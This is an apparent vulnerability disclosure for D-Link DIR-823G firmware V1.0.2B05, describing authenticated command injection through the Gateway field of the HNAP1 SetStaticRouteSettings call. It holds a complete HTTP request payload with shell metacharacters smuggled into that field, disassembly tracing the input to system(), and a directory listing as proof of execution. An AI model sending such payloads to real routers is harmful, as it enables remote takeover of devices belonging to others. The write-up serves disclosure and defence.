

# DIR-823G

## Version

DIR823GA1\_FW102B05

## Firmware download link

<http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-823G>

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A1

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怎样找到硬件版本？

类型	日期	
固件版本 (V1.0.2B05)	2019/06/20	下载
快速安装指南 (1.00)	2018/02/01	下载
规格表 (1.00)	2018/02/01	下载



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## decription

An issue was discovered on D-Link DIR-823G devices with firmware V1.0.2B05.  
There is a command injection in HNAP1 (exploitable with Authentication)  
via shell metacharacters in the Gateway field to SetStaticRouteSettings.

## others

found by wx@teamserious360.  
please send email to teamserious360@gmail.com if you have any question.

## Command injection in HNAP1 SetStaticRouteSettings

bypass the check of the "Gateway" by modifying in HTTP Message

### 添加静态路由

目的网络地址

目的子网掩码

默认网关

取消

确定

## payload

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetStaticRouteSettings"
HNAP_AUTH: 2A5F23EDFB05C97CFB884FA0A65D47FE 1563518522
X-Requested-With: XMLHttpRequest
Content-Length: 576
Connection: close
Referer: http://192.168.0.1/Staticroute.html
Cookie: uid=9LvNeDOE2v; PrivateKey=2F2ACD6615A1049235240793F85DB5F1; timeout=34

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetStaticRouteSettings
xmlns="http://purenetworks.com/HNAP1/"><StaticRouteClientInfoLists><ClientInfo><IPAddress>10.3.8.211</IPAddress><SubnetMask>255.25
5.255</SubnetMask><Gateway>192.168.0.1; 'hacku.txt'</Gateway><Interface>lan</Interface></ClientInfo></StaticRouteClientInfoLists></SetStaticRouteSettings></soap:
Body></soap:Envelope>
```

## Vulnerability description

This occurs in /bin/goahead when a HNAP API function trigger a call to the system function with untrusted input from the request body. A attacker can execute any command remotely when they control this input. The detail is as below:

```
la      $v0, aEchoSVarHnaplo # "echo '%s' >/var/hnaplog"
addiu   $v1, $fp, 0x1448+var_1390
move    $a0, $v1
li      $a1, 0x1387
move    $a2, $v0
lw      $a3, 0x1448+arg_18($fp)
jal     snprintf
nop
addiu   $v0, $fp, 0x1448+var_1390
move    $a0, $v0
jal     system
nop
```

## result

			192.168.0.1/hacku.txt			
drwxrwxr-x	2 1000	bob-buil	4096 Dec 4 10:05	bin		
drwxrwxr-x	9 1000	bob-buil	4096 Jul 11 2019	dev		
drwxrwxr-x	7 1000	bob-buil	4096 Dec 4 10:05	etc		
drwxr-xr-x	4 root	root	4096 Jul 11 2019	firmadyne		
drwxrwxr-x	2 1000	bob-buil	4096 Dec 4 10:05	home		
lrwxrwxrwx	1 1000	bob-buil	8 Dec 4 10:05	init -> bin/init		
drwxrwxr-x	3 1000	bob-buil	4096 Dec 4 10:05	lib		
drwx-----	2 root	root	16384 Jul 11 2019	lost+found		
drwxrwxr-x	2 1000	bob-buil	4096 Dec 4 10:05	mnt		
dr-xr-xr-x	61 root	root	0 Jul 19 2019	proc		
lrwxrwxrwx	1 1000	bob-buil	9 Dec 4 10:05	root -> /var/root		
drwxr-xr-x	12 root	root	0 Jul 19 2019	sys		
lrwxrwxrwx	1 1000	bob-buil	8 Dec 4 10:05	tmp -> /var/tmp		
drwxrwxr-x	3 1000	bob-buil	4096 Dec 4 10:05	usr		
drwxr-xr-x	26 root	root	0 May 28 11:59	var		
drwxrwxr-x	3 1000	bob-buil	4096 Dec 4 10:05	web		
drwxrwxr-x	7 1000	bob-buil	4096 May 28 14:13	web_mtn		